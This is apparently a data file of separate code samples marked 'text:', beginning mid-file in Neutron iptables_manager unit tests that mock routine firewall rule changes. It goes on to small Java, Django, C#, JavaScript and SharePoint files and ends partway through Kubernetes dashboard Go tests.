            'PREROUTING',
            '-j MARK --set-xmark 0x1/%s' % constants.ROUTER_MARK_MASK)

        self.iptables.apply()

        self.iptables.ipv4['mangle'].remove_rule(
            'PREROUTING',
            '-j MARK --set-xmark 0x1/%s' % constants.ROUTER_MARK_MASK)
        self.iptables.ipv4['mangle'].remove_chain('mangle')

        self.iptables.apply()

        tools.verify_mock_calls(self.execute, expected_calls_and_values)

    def test_add_nat_rule(self):
        nat_dump = NAT_TEMPLATE % IPTABLES_ARG

        nat_dump_mod = ('# Generated by iptables_manager\n'
                        '*nat\n'
                        ':OUTPUT - [0:0]\n'
                        ':POSTROUTING - [0:0]\n'
                        ':PREROUTING - [0:0]\n'
                        ':neutron-postrouting-bottom - [0:0]\n'
                        ':%(bn)s-OUTPUT - [0:0]\n'
                        ':%(bn)s-POSTROUTING - [0:0]\n'
                        ':%(bn)s-PREROUTING - [0:0]\n'
                        ':%(bn)s-float-snat - [0:0]\n'
                        ':%(bn)s-nat - [0:0]\n'
                        ':%(bn)s-snat - [0:0]\n'
                        '-I OUTPUT 1 -j %(bn)s-OUTPUT\n'
                        '-I POSTROUTING 1 -j %(bn)s-POSTROUTING\n'
                        '-I POSTROUTING 2 -j neutron-postrouting-bottom\n'
                        '-I PREROUTING 1 -j %(bn)s-PREROUTING\n'
                        '-I neutron-postrouting-bottom 1 -j %(bn)s-snat\n'
                        '-I %(bn)s-PREROUTING 1 -d 192.168.0.3 -j '
                        '%(bn)s-nat\n'
                        '-I %(bn)s-nat 1 -p tcp --dport 8080 -j '
                        'REDIRECT --to-port 80\n'
                        '-I %(bn)s-snat 1 -j %(bn)s-float-snat\n'
                        'COMMIT\n'
                        '# Completed by iptables_manager\n' % IPTABLES_ARG)

        raw_dump = RAW_DUMP % IPTABLES_ARG

        expected_calls_and_values = [
            (mock.call(['iptables-save'],
                       run_as_root=True),
             ''),
            (mock.call(['iptables-restore', '-n'],
                       process_input=(FILTER_DUMP + MANGLE_DUMP +
                                      nat_dump_mod + RAW_DUMP),
                       run_as_root=True, log_fail_as_error=False),
             None),
            (mock.call(['iptables-save'],
                       run_as_root=True),
             ''),
            (mock.call(['iptables-restore', '-n'],
                       process_input=(FILTER_DUMP + MANGLE_DUMP + nat_dump +
                                      RAW_DUMP),
                       run_as_root=True, log_fail_as_error=False),
             None),
        ]
        if self.use_ipv6:
            self._extend_with_ip6tables_filter(
                expected_calls_and_values,
                FILTER_DUMP + MANGLE_DUMP_V6 + raw_dump)

        tools.setup_mock_calls(self.execute, expected_calls_and_values)

        self.iptables.ipv4['nat'].add_chain('nat')
        self.iptables.ipv4['nat'].add_rule('PREROUTING',
                                           '-d 192.168.0.3 -j '
                                           '%(bn)s-nat' % IPTABLES_ARG)
        self.iptables.ipv4['nat'].add_rule('nat',
                                           '-p tcp --dport 8080' +
                                           ' -j REDIRECT --to-port 80')

        self.iptables.apply()

        self.iptables.ipv4['nat'].remove_rule('nat',
                                              '-p tcp --dport 8080 -j'
                                              ' REDIRECT --to-port 80')
        self.iptables.ipv4['nat'].remove_rule('PREROUTING',
                                              '-d 192.168.0.3 -j '
                                              '%(bn)s-nat' % IPTABLES_ARG)
        self.iptables.ipv4['nat'].remove_chain('nat')

        self.iptables.apply()

        tools.verify_mock_calls(self.execute, expected_calls_and_values)

    def test_add_raw_rule(self):
        raw_dump_mod = ('# Generated by iptables_manager\n'
                        '*raw\n'
                        ':OUTPUT - [0:0]\n'
                        ':PREROUTING - [0:0]\n'
                        ':%(bn)s-OUTPUT - [0:0]\n'
                        ':%(bn)s-PREROUTING - [0:0]\n'
                        ':%(bn)s-raw - [0:0]\n'
                        '-I OUTPUT 1 -j %(bn)s-OUTPUT\n'
                        '-I PREROUTING 1 -j %(bn)s-PREROUTING\n'
                        '-I %(bn)s-PREROUTING 1 -j CT --notrack\n'
                        'COMMIT\n'
                        '# Completed by iptables_manager\n'
                        % IPTABLES_ARG)

        expected_calls_and_values = [
            (mock.call(['iptables-save'],
                       run_as_root=True),
             ''),
            (mock.call(['iptables-restore', '-n'],
                       process_input=(FILTER_DUMP + MANGLE_DUMP + NAT_DUMP +
                                      raw_dump_mod),
                       run_as_root=True, log_fail_as_error=False),
             None),
            (mock.call(['iptables-save'],
                       run_as_root=True),
             ''),
            (mock.call(['iptables-restore', '-n'],
                       process_input=(FILTER_DUMP + MANGLE_DUMP + NAT_DUMP +
                                      RAW_DUMP),
                       run_as_root=True, log_fail_as_error=False),
             None),
        ]
        if self.use_ipv6:
            self._extend_with_ip6tables_filter(
                expected_calls_and_values,
                FILTER_DUMP + MANGLE_DUMP_V6 + RAW_DUMP)

        tools.setup_mock_calls(self.execute, expected_calls_and_values)

        self.iptables.ipv4['raw'].add_chain('raw')
        self.iptables.ipv4['raw'].add_rule('PREROUTING',
                                           '-j CT --notrack')

        self.iptables.apply()

        self.iptables.ipv4['raw'].remove_rule('PREROUTING',
                                              '-j CT --notrack')
        self.iptables.ipv4['raw'].remove_chain('raw')

        self.iptables.apply()

        tools.verify_mock_calls(self.execute, expected_calls_and_values)

    def test_add_rule_to_a_nonexistent_chain(self):
        if self.use_ipv6:
            add_rule = self.iptables.ipv6['filter'].add_rule
        else:
            add_rule = self.iptables.ipv4['filter'].add_rule
        self.assertRaises(LookupError, add_rule, 'nonexistent', '-j DROP')

    def test_remove_nonexistent_chain(self):
        if self.use_ipv6:
            remove_chain = self.iptables.ipv6['filter'].remove_chain
        else:
            remove_chain = self.iptables.ipv4['filter'].remove_chain
        with mock.patch.object(iptables_manager, "LOG") as log:
            remove_chain('nonexistent')
        log.debug.assert_called_once_with(
            'Attempted to remove chain %s which does not exist',
            'nonexistent')

    def test_remove_nonexistent_rule(self):
        if self.use_ipv6:
            remove_rule = self.iptables.ipv6['filter'].remove_rule
        else:
            remove_rule = self.iptables.ipv4['filter'].remove_rule
        with mock.patch.object(iptables_manager, "LOG") as log:
            remove_rule('nonexistent', '-j DROP')
        log.warning.assert_called_once_with(
            'Tried to remove rule that was not there: '
            '%(chain)r %(rule)r %(wrap)r %(top)r',
            {'wrap': True, 'top': False, 'rule': '-j DROP',
             'chain': 'nonexistent'})

    def test_iptables__apply_synchronized_no_namespace(self):
        self.execute.side_effect = RuntimeError
        # no namespace set so should raise
        self.assertRaises(RuntimeError,
                          self.iptables._apply_synchronized)
        self.iptables.namespace = 'test'
        with mock.patch('neutron.agent.linux.ip_lib.network_namespace_exists',
                        return_value=True):
            self.assertRaises(RuntimeError,
                              self.iptables._apply_synchronized)
        with mock.patch('neutron.agent.linux.ip_lib.network_namespace_exists',
                        return_value=False):
            self.assertEqual([], self.iptables._apply_synchronized())

    def test_iptables_failure_with_no_failing_line_number(self):
        with mock.patch.object(iptables_manager, "LOG") as log:
            # generate Runtime errors on iptables-restore calls
            def iptables_restore_failer(*args, **kwargs):
                if 'iptables-restore' in args[0]:
                    self.input_lines = kwargs['process_input'].split('\n')
                    # don't provide a specific failure message so all lines
                    # are logged
                    raise RuntimeError()
                return FILTER_DUMP
            self.execute.side_effect = iptables_restore_failer
            # _apply_synchronized calls iptables-restore so it should raise
            # a RuntimeError
            self.assertRaises(RuntimeError,
                              self.iptables._apply_synchronized)
        # The RuntimeError should have triggered a log of the input to the
        # process that it failed to execute. Verify by comparing the log
        # call to the 'process_input' arg given to the failed iptables-restore
        # call.
        # Failure without a specific line number in the error should cause
        # all lines to be logged with numbers.
        logged = ['%7d. %s' % (n, l)
                  for n, l in enumerate(self.input_lines, 1)]
        log.error.assert_called_once_with(_(
            'IPTablesManager.apply failed to apply the '
            'following set of iptables rules:\n%s'),
            '\n'.join(logged)
        )

    def test_iptables_failure(self):
        with mock.patch.object(iptables_manager, "LOG") as log:
            # generate Runtime errors on iptables-restore calls
            def iptables_restore_failer(*args, **kwargs):
                if 'iptables-restore' in args[0]:
                    self.input_lines = kwargs['process_input'].split('\n')
                    # pretend line 11 failed
                    msg = ("Exit code: 1\nStdout: ''\n"
                           "Stderr: 'iptables-restore: line 11 failed\n'")
                    raise n_exc.ProcessExecutionError(
                        msg, iptables_manager.XTABLES_RESOURCE_PROBLEM_CODE)
                return FILTER_DUMP
            self.execute.side_effect = iptables_restore_failer
            # _apply_synchronized calls iptables-restore so it should raise
            # a RuntimeError
            self.assertRaises(RuntimeError,
                              self.iptables._apply_synchronized)

        # check that we tried with -w when the first attempt failed
        self.execute.assert_has_calls(
            [mock.call(['iptables-restore', '-n'],
                       process_input=mock.ANY, run_as_root=True,
                       log_fail_as_error=False),
             mock.call(['iptables-restore', '-n', '-w', '10',
                        '-W', iptables_manager.XLOCK_WAIT_INTERVAL],
                       process_input=mock.ANY, run_as_root=True)])

        # The RuntimeError should have triggered a log of the input to the
        # process that it failed to execute. Verify by comparing the log
        # call to the 'process_input' arg given to the failed iptables-restore
        # call.
        # Line 11 of the input was marked as failing so lines (11 - context)
        # to (11 + context) should be logged
        ctx = iptables_manager.IPTABLES_ERROR_LINES_OF_CONTEXT
        log_start = max(0, 11 - ctx)
        log_end = 11 + ctx
        logged = ['%7d. %s' % (n, l)
                  for n, l in enumerate(self.input_lines[log_start:log_end],
                                        log_start + 1)]
        log.error.assert_called_once_with(_(
            'IPTablesManager.apply failed to apply the '
            'following set of iptables rules:\n%s'),
            '\n'.join(logged)
        )

    def test_iptables_use_table_lock(self):
        # Under normal operation, if we do call iptables-restore with a -w
        # and it succeeds, the next call will only use -w.
        PE_error = n_exc.ProcessExecutionError(
                       "", iptables_manager.XTABLES_RESOURCE_PROBLEM_CODE)

        num_calls = 3
        expected_calls_and_values = [
            (mock.call(['iptables-save'], run_as_root=True),
             FILTER_DUMP),
            (mock.call(['iptables-restore', '-n'],
                       process_input=mock.ANY, run_as_root=True,
                       log_fail_as_error=False),
             PE_error),
            (mock.call(['iptables-restore', '-n', '-w', '10',
                        '-W', iptables_manager.XLOCK_WAIT_INTERVAL],
                       process_input=mock.ANY, run_as_root=True),
             None),
        ]
        if self.use_ipv6:
            num_calls += 2
            expected_calls_and_values.append(
                (mock.call(['ip6tables-save'], run_as_root=True),
                 FILTER_DUMP))
            expected_calls_and_values.append(
                (mock.call(['ip6tables-restore', '-n', '-w', '10',
                            '-W', iptables_manager.XLOCK_WAIT_INTERVAL],
                           process_input=mock.ANY, run_as_root=True),
                 None))

        tools.setup_mock_calls(self.execute, expected_calls_and_values)
        self.iptables._apply_synchronized()
        self.assertEqual(num_calls, self.execute.call_count)
        tools.verify_mock_calls(self.execute, expected_calls_and_values)

        self.execute.reset_mock()
        num_calls = 2
        expected_calls_and_values = [
            (mock.call(['iptables-save'], run_as_root=True),
             FILTER_DUMP),
            (mock.call(['iptables-restore', '-n', '-w', '10',
                        '-W', iptables_manager.XLOCK_WAIT_INTERVAL],
                       process_input=mock.ANY, run_as_root=True),
             None),
        ]
        if self.use_ipv6:
            num_calls += 2
            expected_calls_and_values.append(
                (mock.call(['ip6tables-save'], run_as_root=True),
                 FILTER_DUMP))
            expected_calls_and_values.append(
                (mock.call(['ip6tables-restore', '-n', '-w', '10',
                            '-W', iptables_manager.XLOCK_WAIT_INTERVAL],
                           process_input=mock.ANY, run_as_root=True),
                 None))

        tools.setup_mock_calls(self.execute, expected_calls_and_values)
        self.iptables._apply_synchronized()
        self.assertEqual(num_calls, self.execute.call_count)
        tools.verify_mock_calls(self.execute, expected_calls_and_values)

        # Another instance of the class should behave similarly now
        self.execute.reset_mock()
        iptm = iptables_manager.IptablesManager(use_ipv6=self.use_ipv6)
        tools.setup_mock_calls(self.execute, expected_calls_and_values)
        iptm._apply_synchronized()
        self.assertEqual(num_calls, self.execute.call_count)
        tools.verify_mock_calls(self.execute, expected_calls_and_values)

    def test_get_traffic_counters_chain_notexists(self):
        with mock.patch.object(iptables_manager, "LOG") as log:
            acc = self.iptables.get_traffic_counters('chain1')
            self.assertIsNone(acc)
        self.assertEqual(0, self.execute.call_count)
        log.warning.assert_called_once_with(
            'Attempted to get traffic counters of chain %s which '
            'does not exist', 'chain1')

    def test_get_traffic_counters(self):
        exp_packets = 800
        exp_bytes = 131802

        expected_calls_and_values = [
            (mock.call(['iptables', '-t', 'filter', '-L', 'OUTPUT',
                        '-n', '-v', '-x', '-w', '10'],
                       run_as_root=True),
             TRAFFIC_COUNTERS_DUMP),
            (mock.call(['iptables', '-t', 'raw', '-L', 'OUTPUT', '-n',
                        '-v', '-x', '-w', '10'],
                       run_as_root=True),
             ''),
            (mock.call(['iptables', '-t', 'mangle', '-L', 'OUTPUT', '-n',
                        '-v', '-x', '-w', '10'],
                       run_as_root=True),
             ''),
            (mock.call(['iptables', '-t', 'nat', '-L', 'OUTPUT', '-n',
                        '-v', '-x', '-w', '10'],
                       run_as_root=True),
             ''),
        ]
        if self.use_ipv6:
            expected_calls_and_values.append(
                (mock.call(['ip6tables', '-t', 'raw', '-L', 'OUTPUT',
                           '-n', '-v', '-x', '-w', '10'], run_as_root=True),
                 ''))
            expected_calls_and_values.append(
                (mock.call(['ip6tables', '-t', 'filter', '-L', 'OUTPUT',
                           '-n', '-v', '-x', '-w', '10'],
                           run_as_root=True),
                 TRAFFIC_COUNTERS_DUMP))
            expected_calls_and_values.append(
                (mock.call(['ip6tables', '-t', 'mangle', '-L', 'OUTPUT',
                           '-n', '-v', '-x', '-w', '10'], run_as_root=True),
                 ''))
            exp_packets *= 2
            exp_bytes *= 2

        tools.setup_mock_calls(self.execute, expected_calls_and_values)

        acc = self.iptables.get_traffic_counters('OUTPUT')
        self.assertEqual(acc['pkts'], exp_packets)
        self.assertEqual(acc['bytes'], exp_bytes)

        tools.verify_mock_calls(self.execute, expected_calls_and_values,
                                any_order=True)

    def test_get_traffic_counters_and_zero(self):
        exp_packets = 800
        exp_bytes = 131802

        expected_calls_and_values = [
            (mock.call(['iptables', '-t', 'filter', '-L', 'OUTPUT',
                        '-n', '-v', '-x', '-w', '10', '-Z'],
                       run_as_root=True),
             TRAFFIC_COUNTERS_DUMP),
            (mock.call(['iptables', '-t', 'raw', '-L', 'OUTPUT', '-n',
                        '-v', '-x', '-w', '10', '-Z'],
                       run_as_root=True),
             ''),
            (mock.call(['iptables', '-t', 'mangle', '-L', 'OUTPUT', '-n',
                        '-v', '-x', '-w', '10', '-Z'],
                       run_as_root=True),
             ''),
            (mock.call(['iptables', '-t', 'nat', '-L', 'OUTPUT', '-n',
                        '-v', '-x', '-w', '10', '-Z'],
                       run_as_root=True),
             '')
        ]
        if self.use_ipv6:
            expected_calls_and_values.append(
                (mock.call(['ip6tables', '-t', 'raw', '-L', 'OUTPUT',
                            '-n', '-v', '-x', '-w', '10', '-Z'],
                           run_as_root=True),
                 ''))
            expected_calls_and_values.append(
                (mock.call(['ip6tables', '-t', 'filter', '-L', 'OUTPUT',
                            '-n', '-v', '-x', '-w', '10', '-Z'],
                           run_as_root=True),
                 TRAFFIC_COUNTERS_DUMP))
            expected_calls_and_values.append(
                (mock.call(['ip6tables', '-t', 'mangle', '-L', 'OUTPUT',
                            '-n', '-v', '-x', '-w', '10', '-Z'],
                           run_as_root=True),
                 ''))
            exp_packets *= 2
            exp_bytes *= 2

        tools.setup_mock_calls(self.execute, expected_calls_and_values)

        acc = self.iptables.get_traffic_counters('OUTPUT', zero=True)
        self.assertEqual(acc['pkts'], exp_packets)
        self.assertEqual(acc['bytes'], exp_bytes)

        tools.verify_mock_calls(self.execute, expected_calls_and_values,
                                any_order=True)

    def test_add_blank_rule(self):
        iptables_args = {}
        iptables_args.update(IPTABLES_ARG)
        filter_rules = ('-A %(bn)s-test-filter\n' % iptables_args)
        iptables_args['filter_rules'] = filter_rules
        filter_dump_mod = FILTER_RESTORE_DUMP % iptables_args

        expected_calls_and_values = [
            (mock.call(['iptables-save'],
                       run_as_root=True),
             (filter_dump_mod + MANGLE_RESTORE_DUMP +
              NAT_RESTORE_DUMP + RAW_RESTORE_DUMP)),
        ]
        if self.use_ipv6:
            expected_calls_and_values.append(
                (mock.call(['ip6tables-save'], run_as_root=True),
                 FILTER_DUMP))
            expected_calls_and_values.append(
                (mock.call(['ip6tables-restore', '-n'],
                           process_input=mock.ANY, run_as_root=True,
                           log_fail_as_error=False),
                 None))

        tools.setup_mock_calls(self.execute, expected_calls_and_values)

        self.iptables.ipv4['filter'].add_chain('test-filter')
        self.iptables.ipv4['filter'].add_rule('test-filter', '')

        self.iptables.apply()

        tools.verify_mock_calls(self.execute, expected_calls_and_values)

    def test_add_rule_exchanged_interface_and_ip(self):
        iptables_args = {}
        iptables_args.update(IPTABLES_ARG)
        filter_rules = ('-A %(bn)s-test-filter -d 192.168.0.2 -i tap-xxx '
                        '-j ACCEPT\n'
                        % iptables_args)
        iptables_args['filter_rules'] = filter_rules
        filter_dump_mod = FILTER_RESTORE_DUMP % iptables_args

        RESTORE_INPUT = ('# Generated by iptables_manager\n'
                         '*filter\n'
                         '-D run.py-test-filter 1\n'
                         '-I run.py-test-filter 1 '
                         '-i tap-xxx -d 192.168.0.2 -j ACCEPT\n'
                         'COMMIT\n'
                         '# Completed by iptables_manager\n'
                         % IPTABLES_ARG)

        expected_calls_and_values = [
            (mock.call(['iptables-save'],
                       run_as_root=True),
             (filter_dump_mod + MANGLE_RESTORE_DUMP +
              NAT_RESTORE_DUMP + RAW_RESTORE_DUMP)),
            (mock.call(['iptables-restore', '-n'],
                       process_input=RESTORE_INPUT,
                       run_as_root=True, log_fail_as_error=False),
             None),
        ]

        if self.use_ipv6:
            self._extend_with_ip6tables_filter_end(
                expected_calls_and_values,
                FILTER_DUMP + MANGLE_DUMP_V6 + RAW_DUMP)

        tools.setup_mock_calls(self.execute, expected_calls_and_values)

        self.iptables.ipv4['filter'].add_chain('test-filter')
        self.iptables.ipv4['filter'].add_rule('test-filter',
                                              '-i tap-xxx -d 192.168.0.2 '
                                              '-j ACCEPT')

        self.iptables.apply()

        tools.verify_mock_calls(self.execute, expected_calls_and_values)

class IptablesManagerStateFulTestCaseIPv6(IptablesManagerStateFulTestCase):
    use_ipv6 = True

class IptablesManagerStateFulTestCaseCustomBinaryName(
        IptablesManagerBaseTestCase):
    use_ipv6 = False
    bn = ("xbcdef" * 5)

    def setUp(self):
        super(IptablesManagerStateFulTestCaseCustomBinaryName, self).setUp()
        self.iptables = iptables_manager.IptablesManager(
            binary_name=self.bn,
            use_ipv6=self.use_ipv6)

    def test_add_and_remove_chain_custom_binary_name(self):
        iptables_args = {'bn': self.bn[:16], 'filter_rules': ''}

        filter_dump = FILTER_WITH_RULES_TEMPLATE % iptables_args

        filter_dump_ipv6 = FILTER_TEMPLATE % iptables_args

        filter_dump_mod = filter_dump

        nat_dump = NAT_TEMPLATE % iptables_args

        raw_dump = _generate_raw_dump(iptables_args)
        mangle_dump = _generate_mangle_dump(iptables_args)

        expected_calls_and_values = [
            (mock.call(['iptables-save'],
                       run_as_root=True),
             ''),
            (mock.call(['iptables-restore', '-n'],
                       process_input=(filter_dump_mod + mangle_dump +
                                      nat_dump + raw_dump),
                       run_as_root=True, log_fail_as_error=False),
             None),
            (mock.call(['iptables-save'],
                       run_as_root=True),
             ''),
            (mock.call(['iptables-restore', '-n'],
                       process_input=(filter_dump + mangle_dump +
                                      nat_dump + raw_dump),
                       run_as_root=True, log_fail_as_error=False),
             None),
        ]
        if self.use_ipv6:
            mangle_dump_v6 = _generate_mangle_dump_v6(iptables_args)
            self._extend_with_ip6tables_filter(
                expected_calls_and_values,
                filter_dump_ipv6 + mangle_dump_v6 + raw_dump)

        tools.setup_mock_calls(self.execute, expected_calls_and_values)

        self.iptables.ipv4['filter'].add_chain('filter')
        self.iptables.apply()

        self.iptables.ipv4['filter'].empty_chain('filter')
        self.iptables.apply()

        tools.verify_mock_calls(self.execute, expected_calls_and_values)

class IptablesManagerStateFulTestCaseCustomBinaryNameIPv6(
        IptablesManagerStateFulTestCaseCustomBinaryName):
    use_ipv6 = True

class IptablesManagerStateFulTestCaseEmptyCustomBinaryName(
        IptablesManagerBaseTestCase):
    use_ipv6 = False
    bn = ("xbcdef" * 5)[:16]

    def setUp(self):
        super(IptablesManagerStateFulTestCaseEmptyCustomBinaryName,
              self).setUp()
        self.iptables = iptables_manager.IptablesManager(
            binary_name=self.bn,
            use_ipv6=self.use_ipv6)

    def test_empty_chain_custom_binary_name(self):
        iptables_args = {'bn': self.bn}

        filter_dump = FILTER_TEMPLATE % iptables_args

        filter_rules = ('-I %(bn)s-filter 1 -s 0/0 -d 192.168.0.2\n'
                        % iptables_args)
        iptables_args['filter_rules'] = filter_rules
        filter_dump_mod = FILTER_WITH_RULES_TEMPLATE % iptables_args

        nat_dump = NAT_TEMPLATE % iptables_args

        raw_dump = _generate_raw_dump(iptables_args)
        mangle_dump = _generate_mangle_dump(iptables_args)

        expected_calls_and_values = [
            (mock.call(['iptables-save'],
                       run_as_root=True),
             ''),
            (mock.call(['iptables-restore', '-n'],
                       process_input=(filter_dump_mod + mangle_dump +
                                      nat_dump + raw_dump),
                       run_as_root=True, log_fail_as_error=False),
             None),
            (mock.call(['iptables-save'],
                       run_as_root=True),
             ''),
            (mock.call(['iptables-restore', '-n'],
                       process_input=(filter_dump + mangle_dump +
                                      nat_dump + raw_dump),
                       run_as_root=True, log_fail_as_error=False),
             None),
        ]
        if self.use_ipv6:
            mangle_dump_v6 = _generate_mangle_dump_v6(iptables_args)
            self._extend_with_ip6tables_filter(
                expected_calls_and_values,
                filter_dump + mangle_dump_v6 + raw_dump)

        tools.setup_mock_calls(self.execute, expected_calls_and_values)

        self.iptables.ipv4['filter'].add_chain('filter')
        self.iptables.ipv4['filter'].add_rule('filter',
                                              '-s 0/0 -d 192.168.0.2')
        self.iptables.apply()

        self.iptables.ipv4['filter'].remove_chain('filter')
        self.iptables.apply()

        tools.verify_mock_calls(self.execute, expected_calls_and_values)

class IptablesManagerStateFulTestCaseEmptyCustomBinaryNameIPv6(
        IptablesManagerStateFulTestCaseEmptyCustomBinaryName):
    use_ipv6 = True

class IptablesManagerStateLessTestCase(base.BaseTestCase):

    def setUp(self):
        super(IptablesManagerStateLessTestCase, self).setUp()
        cfg.CONF.set_override('comment_iptables_rules', False, 'AGENT')
        self.iptables = (iptables_manager.IptablesManager(state_less=True))

    def test_nat_not_found(self):
        self.assertNotIn('nat', self.iptables.ipv4)

    def test_mangle_not_found(self):
        self.assertNotIn('mangle', self.iptables.ipv4)

    def test_initialize_mangle_table(self):
        iptables = iptables_manager.IptablesManager(state_less=True)
        iptables.initialize_mangle_table()
        self.assertIn('mangle', iptables.ipv4)
        self.assertNotIn('nat', iptables.ipv4)

    def test_initialize_nat_table(self):
        iptables = iptables_manager.IptablesManager(state_less=True)
        iptables.initialize_nat_table()
        self.assertIn('nat', iptables.ipv4)
        self.assertNotIn('mangle', iptables.ipv4)


text:
package com.clearserve.codechallenge;

import java.math.BigDecimal;

public class ProductCImpl extends AbstractProduct implements Product {

	protected BigDecimal bulkPrice;
	private static int counter;

	public ProductCImpl() {
		super('C', new BigDecimal(1.25d));
		bulkPrice = new BigDecimal(6.0d);
	}

	static {
		counter = 0;
	}

	@Override
	public void incrementCounter() {
		counter++;
	}

	@Override
	public void updateSalesTotal() {
		if (counter != 0 && counter % 6 == 0) {
			setTotalSales(zeroBase);
			setTotalSales(totalSales.add(bulkPrice));
		} else {
			setTotalSales(totalSales.add(price));
			ProductUtility.incrementCounter(this);
		}
	}

	public static void resetCounter() {
		counter = 0;
	}

	@Override
	public int getCounter() {
		return counter;
	}
}


text:
from django.conf.urls import url
from rest_framework.urlpatterns import format_suffix_patterns
from wordproject import views

urlpatterns = [
    url(r'^wordRecords/$', views.WordRecordList.as_view()),
    url(r'^wordRecords/(?P<pk>[0-9]+)/$', views.WordRecordDetail.as_view()),
    url(r'^wordRecords/Filter/(?P<englishWord>.+)/$', views.WordRecordFilteredList.as_view()),
    url(r'^wordRecords/Search/$', views.WordRecordQueryParamList.as_view()),
    url(r'^wordPair/$', views.WordPairList.as_view()),
]

urlpatterns = format_suffix_patterns(urlpatterns)


text:
namespace Pipelyne.Core
{
	public class MarkdownTransformer : ITransformer
	{
		public string Name => "md-html";

		public ContentItem Transform(TransformRequest request)
		{
			var html = CommonMark.CommonMarkConverter.Convert(request.Input);

			return new ContentItem(html, "text/html");
		}
	}
}


text:
var searchData=
[
  ['requiredflags_0',['requiredFlags',['../struct_vma_allocation_create_info.html#a9166390303ff42d783305bc31c2b6b90',1,'VmaAllocationCreateInfo']]]
];


text:
define([], function() {
  return {
    "Title": "VeronicaBotApplicationCustomizer",
    "GraphBotButtonLabel": "My intranet assistant",
    "GraphBotInitializationMessage": "Please wait during the conversation setup."
  }
});


text:
package main

import (
	"reflect"
	"testing"

	"k8s.io/kubernetes/pkg/api"
)

func TestIsLabelSelectorMatching(t *testing.T) {
	cases := []struct {
		serviceSelector, replicationControllerSelector map[string]string
		expected                                       bool
	}{
		{nil, nil, false},
		{nil, map[string]string{}, false},
		{map[string]string{}, nil, false},
		{map[string]string{}, map[string]string{}, false},
		{map[string]string{"app": "my-name"}, map[string]string{}, false},
		{map[string]string{"app": "my-name", "version": "2"},
			map[string]string{"app": "my-name", "version": "1.1"}, false},
		{map[string]string{"app": "my-name", "env": "prod"},
			map[string]string{"app": "my-name", "version": "1.1"}, false},
		{map[string]string{"app": "my-name"}, map[string]string{"app": "my-name"}, true},
		{map[string]string{"app": "my-name", "version": "1.1"},
			map[string]string{"app": "my-name", "version": "1.1"}, true},
		{map[string]string{"app": "my-name"},
			map[string]string{"app": "my-name", "version": "1.1"}, true},
	}
	for _, c := range cases {
		actual := isLabelSelectorMatching(c.serviceSelector, c.replicationControllerSelector)
		if actual != c.expected {
			t.Errorf("isLabelSelectorMatching(%+v, %+v) == %+v, expected %+v",
				c.serviceSelector, c.replicationControllerSelector, actual, c.expected)
		}
	}
}

func TestGetMatchingServices(t *testing.T) {
	cases := []struct {
		services              []api.Service
		replicationController *api.ReplicationController
		expected              []api.Service
	}{
		{nil, nil, nil},
		{
			[]api.Service{{Spec: api.ServiceSpec{Selector: map[string]string{"app": "my-name"}}}},
			&api.ReplicationController{
				Spec: api.ReplicationControllerSpec{Selector: map[string]string{"app": "my-name"}}},
			[]api.Service{{Spec: api.ServiceSpec{Selector: map[string]string{"app": "my-name"}}}},
		},
		{
			[]api.Service{
				{Spec: api.ServiceSpec{Selector: map[string]string{"app": "my-name"}}},
				{Spec: api.ServiceSpec{Selector: map[string]string{"app": "my-name", "ver": "2"}}},
			},
			&api.ReplicationController{
				Spec: api.ReplicationControllerSpec{Selector: map[string]string{"app": "my-name"}}},
			[]api.Service{{Spec: api.ServiceSpec{Selector: map[string]string{"app": "my-name"}}}},
		},
	}
	for _, c := range cases {
		actual := getMatchingServices(c.services, c.replicationController)
		if !reflect.DeepEqual(actual, c.expected) {
			t.Errorf("getMatchingServices(%+v, %+v) == %+v, expected %+v",
				c.services, c.replicationController, actual, c.expected)
		}
	}
}

func TestGetReplicationControllerList(t *testing.T) {
	getPodsErrorFnMock := func(pods []api.Pod) []Event {
		return []Event{}
	}

	cases := []struct {
		replicationControllers []api.ReplicationController
		services               []api.Service
		pods                   []api.Pod
		getNodeFn              GetNodeFunc
		expected               *ReplicationControllerList
	}{
		{nil, nil, nil, nil, &ReplicationControllerList{ReplicationControllers: []ReplicationController{}}},
		{
			[]api.ReplicationController{
				{
					ObjectMeta: api.ObjectMeta{
						Name:      "my-app-1",
						Namespace: "namespace-1",
					},
					Spec: api.ReplicationControllerSpec{
						Selector: map[string]string{"app": "my-name-1"},
						Template: &api.PodTemplateSpec{
							Spec: api.PodSpec{Containers: []api.Container{{Image: "my-container-image-1"}}},
						},
					},
				},
				{
					ObjectMeta: api.ObjectMeta{
						Name:      "my-app-2",
						Namespace: "namespace-2",
					},
					Spec: api.ReplicationControllerSpec{
						Selector: map[string]string{"app": "my-name-2", "ver": "2"},
						Template: &api.PodTemplateSpec{
							Spec: api.PodSpec{Containers: []api.Container{{Image: "my-container-image-2"}}},
						},
					},
				},
			},
			[]api.Service{
				{
					Spec: api.ServiceSpec{Selector: map[string]string{"app": "my-name-1"}},
					ObjectMeta: api.ObjectMeta{
						Name:      "my-app-1",
						Namespace: "namespace-1",
					},
				},
				{
					Spec: api.ServiceSpec{Selector: map[string]string{"app": "my-name-2", "ver": "2"}},
					ObjectMeta: api.ObjectMeta{
						Name:      "my-app-2",
						Namespace: "namespace-2",
					},
				},
			},
			[]api.Pod{
				{
					ObjectMeta: api.ObjectMeta{
						Namespace: "namespace-1",
						Labels:    map[string]string{"app": "my-name-1"},
					},
					Status: api.PodStatus{
						Phase: api.PodFailed,
					},
				},
				{
					ObjectMeta: api.ObjectMeta{
						Namespace: "namespace-1",
						Labels:    map[string]string{"app": "my-name-1"},
					},
					Status: api.PodStatus{
						Phase: api.PodFailed,
					},
				},
				{
					ObjectMeta: api.ObjectMeta{
						Namespace: "namespace-1",
						Labels:    map[string]string{"app": "my-name-1"},
					},
					Status: api.PodStatus{
						Phase: api.PodPending,
					},
				},
				{
					ObjectMeta: api.ObjectMeta{
						Namespace: "namespace-2",
						Labels:    map[string]string{"app": "my-name-1"},
					},
					Status: api.PodStatus{
						Phase: api.PodPending,
					},
				},
				{
					ObjectMeta: api.ObjectMeta{
						Namespace: "namespace-1",
						Labels:    map[string]string{"app": "my-name-1"},
					},
					Status: api.PodStatus{
						Phase: api.PodRunning,
					},
				},
				{
					ObjectMeta: api.ObjectMeta{
						Namespace: "namespace-1",
						Labels:    map[string]string{"app": "my-name-1"},
					},
					Status: api.PodStatus{
						Phase: api.PodSucceeded,
					},
				},
				{
					ObjectMeta: api.ObjectMeta{
						Namespace: "namespace-1",
						Labels:    map[string]string{"app": "my-name-1"},
					},
					Status: api.PodStatus{
						Phase: api.PodUnknown,
					},
				},
			},
			func(nodeName string) (*api.Node, error) {
